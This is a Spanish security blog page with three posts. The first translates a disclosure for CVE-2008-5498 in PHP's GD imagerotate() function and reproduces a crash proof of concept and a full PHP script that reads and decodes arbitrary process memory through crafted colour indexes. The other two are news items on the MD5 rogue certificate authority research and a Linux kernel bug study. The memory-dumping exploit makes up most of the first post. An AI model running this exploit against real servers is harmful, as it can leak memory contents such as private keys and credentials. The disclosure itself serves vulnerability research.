byteFreak

Vulnerabilidades: PHP 5.2.8 Libreria GD

January 3rd, 2009 by bytefreak

original

PHP - gd library - imageRotate()function Information Leak Vulnerability

Descubierto por: Hamid Ebadi,
Investigacion y Exploit: Mohammad R. Roohian
CSIRT Team Members
Amirkabir University APA Laboratory

Introducción
PHP es un lenguajes de programación web muy popular que es normalmente usado como máquina de script al lado del servidor.
PHP 5 compilado con soporte para la librería GD, incluye una función llamada imageRotate() para rotar una imágen indicando el ángulo de rotación.
Esta función completa el las areas limpias del resultado con el color dado para la rotación.

La librería GD trabaja con imágenes indexadas y imágenes de color verdadero. Un pixel de color verdadero es una DWORD que guarda el color del pixel que puede ser mostrado sin cambio.
En el modo indexado usando un indice con un tamaño de no más de 1 byte, los datos pueden ser obtenidos desde una paleta de color que consiste en un array de colores. La librería GD usa la misma estructura para los dos tipos de imágenes (gdImageStruct).
Un error de implementación errónea puede causar una fuga de información desde la memoria de PHP (o posiblemente del servidor web)

Las vulnerabilidades de fuga de información permite acceso, por ejemplo, a la memoria de Apache que puede contener la clave privada RSA for un certificado SSL. Si un atacante es capaz de leer esto, puede hacer una ataque MITM a las conecciones SSL. Es importante para el existo de este exploit concer exactamente la dirección de memoria. (http://www.php-security.org)

Versión Vulnerable
PHP <= 5.2.8
CVE Candidate Number: CVE-2008-5498

Vulnerabilidad
La función imageRotate no ejecuta ninguna validación en el parámetro clrBack que es usado como indice para los arrays anteriormente mencionado. Una correcta validación para comprobar el indice puede ser:

file: php-x.y.z/ext/gd/libgd/gd.c

3129: gdImagePtr gdImageRotate (gdImagePtrsrc, double dAngle,
int clrBack, int ignoretransparent)
3130:{
3131: gdImagePtrpMidImg;
3132: gdImagePtrrotatedImg;
3133:
3134: if(src == NULL) {
3135: returnNULL;
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor)
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if(!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) {
3139: returnNULL;
3140: }

Proof of concept:
Este script causa un segmentation fault, ya que -9999999 resulta en una lectura de una dirección de memoria inválidad en el proceso PHP

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);

Exploit:
Necesitamos proveer un buen clrBack a imageRotate() y luego calcular el valor de la dirección de memoria deseado usando imagecolorat().

&special_index = /* index of the$address */
$r=imagecreate(300,300);
$gray = imagecolorallocate( $r,111,111,111);
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30,&special_index );
imagePng( $tmp, "test.png" );
?>

——–
|f_b/ |
| / |
| / |
|/image |
| /|
| / |
| / |
| / |
——–

Para leer valores de memoria codificados desde la dirección deseado, usaremos el siguiente script:


$address = /*address to read should bemultiply of 4 */
$src = 0x84cde2c;
// depends on the image size and phpscript length but is constant
$index_b = -(int)(($src - $address +0x810)/4);

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);

?>

Despues de pasar $index_b como el indice de arrays y rotar $img, la variable b toma el valor de $address.
El color en [0,0] debe ser completado con cualquier color de fondo. Todo lo que necesitamos hacer es decodificar este valor, el valor final de $f_b es calculado como sigue:

$f_b = gdTrueColorAlpha( M[$address-512],
M[$address-255],
M[$address+0],
M[$address+1034]);

Decodificando $f_b
Como se puede ver en el código fuente $f_b es calculado asi:
———————————————————-
a :A4 A3 A2 A1
r : R4 R3 R2 R1
g : G4 G3 G2 G1
b : B4 B3 B2 B1
———————————————————-
$f_b : F4 F3 F2 F1
———————————————————-

Exploit:

/*
edi = src
esi = clrBack ( -205923 for core_globals safe mode ( 0x IF APR SM MQS) sample: 0x01 00 SM 00 )

(
zend_bool magic_quotes_sybase; MQS
zend_bool safe_mode; SM
zend_bool allow_call_time_pass_reference; APR
zend_bool implicit_flush; IF
)

0x080ed27f : mov 0x10(%edi,%esi,4),%ebx
mov ebx, [edi+esi*4+10]

test case:
edi = 0×084c6128
esi = 0xffee07b1(-1177679) values less than this will crash.
=>
ebx = 0×8047ff6
if (a>127) {
a = 127;
}
:( since alpha blending is on by default, the 32th bit of dumped address cant be detected.
*/
$debug = 0;
$address = hexdec($argv[1]);
$addressSave = $address;
$count = $argv[3]+1;
$mode = $argv[2];
$src = 0×84cde2c;
$s = 10; //image size

$GLOBALS["image"]=imagecreate($s,$s);
$r = $GLOBALS["image"];
if( $debug )
echo “Image created.n”;

function getDataFromImage( $index ) {
$tmp = imagerotate ($GLOBALS["image"],5,$index);
return imagecolorat( $tmp, 0,0);
}

$eor = 0;
while( $address < $addressSave+$count*4 ) {
// indexes
$index_b = (int)(($src - $address + 0×810)/4);
$index_g = $index_b + 256;
$index_r = $index_b + 512;
$index_a = $index_b - 1034;
//$index_gG is the same as index of r
$index_gR = $index_g + 512;
//$index_rG is the same as index of gR
//$index_gGg is the same as index of gR

// fuctions
$f_b = getDataFromImage( -$index_b );
$f_g = getDataFromImage( -$index_g );
$f_r = getDataFromImage( -$index_r );
$f_a = getDataFromImage( -$index_a );
$f_gR = getDataFromImage( -$index_gR );

/********************* Byte 1 **********************/

// b byte 1
$byte_b1 = $f_b & 0×000000ff;
if( $debug )
printf( “b:1-0x%xn”, $byte_b1 );

//g byte 1
$byte_g1 = $f_g & 0×000000ff;
if( $debug )
printf( “g:1-0x%xn”, $byte_g1 );

//r byte 1
$byte_r1 = $f_r& 0×000000ff;
if( $debug )
printf( “r:1-0x%xn”, $byte_r1 );

//a byte 1
$byte_a1 = $f_a & 0×000000ff;
if( $debug )
printf( “a:1-0x%xnn”, $byte_a1 );

/* Relative */

// gG byte 1
// this is relative g to `g`( suppose that ‘g’ is a b). so its right at the position of r.
$byte_gG1 = $byte_r1;

// gR byte 1
// this is relative r to `g`( suppose that ‘g’ is a b)
$byte_gR1 = $f_gR & 0×000000ff;

// rG byte 1
// this is relative g to r( suppose that ‘r’ is a b)
$byte_rG1 = $byte_gR1;

/* 2 Level Relative */

// gGg byte 1
// this is relative g to `gG`( suppose that ‘gG’ is a b)
$byte_gGg1 = $byte_gR1;

/********************* Byte 2 **********************/

// b byte 2
$sum_b2_g1 = (($f_b & 0×0000ff00) >> 8 );
$byte_b2 = $sum_b2_g1 - $byte_g1;
$borrow_b2 = 0;
if( $byte_b2 < 0 )
$borrow_b2 = 1;
$byte_b2 = $byte_b2 & 0×000000ff;
if( $debug )
printf( “b:2-0x%x t0x%xn”, $byte_b2, $f_b );

// g byte 2
$sum_g2_gG1 = (($f_g & 0×0000ff00) >> 8 );
$byte_g2 = $sum_g2_gG1 - $byte_gG1;
$borrow_g2 = 0;
if( $byte_g2 < 0 )
$borrow_g2 = 1;
$byte_g2 = $byte_g2 & 0×000000ff;
if( $debug )
printf( “g:2-0x%x t0x%xn”, $byte_g2, $f_gG1 );

// r byte 2
$sum_r2_rG1 = (($f_r& 0×0000ff00) >> 8 );
$byte_r2 = $sum_r2_rG1 - $byte_rG1;
$byte_r2 = $byte_r2 & 0×000000ff;
if( $debug )
printf( “r:2-0x%x t0x%xnn”, $byte_r2, $sum_r2_rG1 );

/* Relative */

// gG byte 2
$byte_gG2 = $byte_r2;
/********************* Byte 3 **********************/

// b byte 3
$sum_b3_g2_r1_br2 = (($f_b & 0×00ff0000) >> 16 );
$sum_b3_g2_r1 = $sum_b3_g2_r1_br2 - $borrow_b2;
$sum_b3_g2 = $sum_b3_g2_r1 - $byte_r1;
$byte_b3 = $sum_b3_g2 - $byte_g2;
$borrow_b3 = 0;
if( $byte_b3 < 0 )
{
$borrow_b3 = (int)(-$byte_b3 / 0xff) + 1; // for borrows more than one
if( $debug )
printf( “nborrow was: %dn” , $borrow_b3 );
}
$byte_b3 = $byte_b3 & 0×000000ff;
if( $debug )
printf( “b:3-0x%x t0x%xn”, $byte_b3, $sum_b3_g2 );

// g byte 3
$sum_g3_gG2_gR1_br2 = (($f_g & 0×00ff0000) >> 16 );
$sum_g3_gG2_gR1 = $sum_g3_gG2_gR1_br2 - $borrow_g2;
$sum_g3_gG2 = $sum_g3_gG2_gR1 - $byte_gR1;
$byte_g3 = $sum_g3_gG2 - $byte_gG2;
$byte_g3 = $byte_g3 & 0×000000ff;
if( $debug ) {
printf( “f_g: 0x%xn” , $f_g);
printf( “sum_g3_gG2_gR1_br2: 0x%xn” , $sum_g3_gG2_gR1_br2 );
printf( “sum_g3_gG2_gR1: 0x%xn” , $sum_g3_gG2_gR1 );
printf( “sum_g3_gG2: 0x%xn” , $sum_g3_gG2 );
printf( “g:3-0x%x t0x%xnn”, $byte_g3, $sum_b3_g2 );
}

/********************* Byte 4 **********************/

// b byte 4
$sum_b4_g3_r2_a1_br3 = (($f_b & 0xff000000) >> 24 );
$sum_b4_g3_r2_a1 = $sum_b4_g3_r2_a1_br3 - $borrow_b3;
$sum_b4_g3_r2 = $sum_b4_g3_r2_a1 - $byte_a1;
$sum_b4_g3 = $sum_b4_g3_r2 - $byte_r2;
$byte_b4 = $sum_b4_g3 - $byte_g3;
$byte_b4 = $byte_b4 & 0×000000ff;
if( $debug ) {
printf( “f_b: 0x%xn” , $f_b);
printf( “sum_b4_g3_r2_a1_br3: 0x%xn” , $sum_b4_g3_r2_a1_br3 );
printf( “sum_b4_g3_r2_a1: 0x%xn” , $sum_b4_g3_r2_a1 );
printf( “sum_b4_g3_r2: 0x%xn” , $sum_b4_g3_r2 );
printf( “sum_b4_g3: 0x%xn” , $sum_b4_g3 );
printf( “b:4-0x%xnn”, $byte_b4);
}
/********************* Byte **********************/

if($mode == 0) { //text mode
printf( “%c%c%c%c”, $byte_b1, $byte_b2, $byte_b3, $byte_b4);
} elseif( $mode == 1) {
// b
if( !$eor )
printf( “0x%x:t”, $address );
printf( “0x%x(%c)t0x%x(%c)t0x%x(%c)t0x%x(%c)t”, $byte_b1, $byte_b1,
$byte_b2, $byte_b2,
$byte_b3, $byte_b3,
$byte_b4, $byte_b4 );

$eor = !$eor;
if( !$eor )
echo “n”;
} else {
$val = ($byte_b4 << 24) + ($byte_b3 << 16) + ($byte_b2 << 8) + $byte_b1;
printf( “0x%x: 0x%xn”, $address, $val );
}
$address+=4;
}
?>


Creditos
This vulnerability has been discovered by Hamid Ebadi from Amirkabir University of Technology APA laboratory.
autcert@aut.ac.ir
https://www.ircert.cc

Disclosure: October 2008
Report to vendor: December, 10, 2008
# milw0rm.com [2009-01-02]
traducido por byteFreak

Posted in Vulnerabilidades | No Comments »

¿SSL roto? Investigadores crean CA falso usando colisiones MD5

January 3rd, 2009 by bytefreak

Sin tratar de ser alarmista…. Dejar claro que no es SSL lo que se ha vulnerado si no los certificados que se utilizan en las comunicaciones SSL.

Usando un clúster de 200 PS3 y unos $700 para certificados digitales de prueba, un grupo de hackers, lograron dar con la forma de aprovechar una ya conocida debilidad del algoritmo MD5, para crear un CA falso.

La investigación fue presentada el 30 de Diciembre por Alex Sotirov y Jacob Appelbaum en la conferencia 25C3 en Alemania.

Este procedimiento vence la forma en que los actuales navegadores web confían en los sitios seguros y entrega un medio para realizar ataques de phishing, virtualmente indetectables.

Esta investigación es bastante significativa, ya que existen al menos 6CA que usan el algoritmo (debil) MD5 en las firmas digitales y certificados. Los browsers aceptan estas CA, lo que significa que cualquier sitio puede ser visto como seguro.

Según Sotirov:

Nuestro principal resultado es que estamos en posesión de un certificado de Autoridad de Certificación (CA) “falso”. Este certificado será aceptado como válido y confiable por muchos navegadores, ya que parece estar basado en uno de los “certificados CA raíz” presentes en la llamada “lista de confianza” del navegador. A su vez, los certificados de sitios web emitidos por nosotros y basados en nuestro certificado CA falso, también serán validados y confiados. Los navegadores mostraran a estos sitios como “seguros”, usando los indicadores comunes tales como el candado cerrado en el marco de la ventana del navegador, la dirección web comenzando con “https://” en lugar de “http://” , y mostrando frases tranquilizadoras como “Este certificado está OK” cuando el usuario haga clic en menúes de seguridad, botones o vínculos.

Según Sotirov, un CA falso combinado con un ataque DNS de Dan Kaminsky tendría serias consecuencias:

Por ejemplo, sin estar concientes de esto, los usuarios podrían ser redireccionados a sitios maliciosos que se parezcan exactamente a sitios confiables de banca o comercio electrónico que crean que están visitando. El navegador web podrá recibir un certificado falsificado que será confiado erróneamente, y las contraseñas y otros datos privados de los usuarios podrán caer en las manos equivocadas. Más allá de los sitios seguros y los servidores de correo, la vulnerabilidad también afectaría otros programas comúnmente usados.

Para evitar abusos, el equipo fechó sus CA falsos, como vencidos y no revelaran la clave privado. “Tampoco liberaremos el código especial que usamos para las colisiones MD5 hasta una fecha proxima en este año.” (Sotirov)

La jugada principal, según Lenstra: “Es imperativo que los navegadores y las CAs dejen de usar Technorati Tags: , , , MD5, y migren a alternativas más robustas tales como el estándar SHA-2 o el inminente SHA-3.”

Posted in Seguridad | No Comments »

El kernel Linux es más seguro que el software propietario

December 19th, 2008 by bytefreak

    Según un estudio que duró 4 años, llevado a cabo por 5 investigadores de la Universidad de Stanford, en donde 5.7 millones de líneas de código del kernel linux fueron analizadas, resolvio que Linux es un sistema mucho más seguro que la mayoría del software propietario.

   El informé que prontamente se publicará, concluye que el kernel 2.6 de Linux, que es el más utilizado en las actuales distribuciones, solo se han detectado 985 bugs no todos críticos, lo que da una media de 0.17 errores por cada 1000 lines de código.

   Esta es un cifra muy por debajo a la que los programas comerciales obtienen (20 y 30 por cada 1000 lineas) según la Universidad Carnegie Mellon.

    Del total de bugs encontrados al rededor de 100 eran agujeros de seguridad y 33 repercutirían en el rendimiento del sistema. Pero es destacable que la mayoría de los errores encontrados durante el estudio, yan han sido resueltos por la comunidad Linux.

Fuente: http://www.abadiadigital.com/noticia3482.html

Posted in Noticias, Seguridad | No Comments »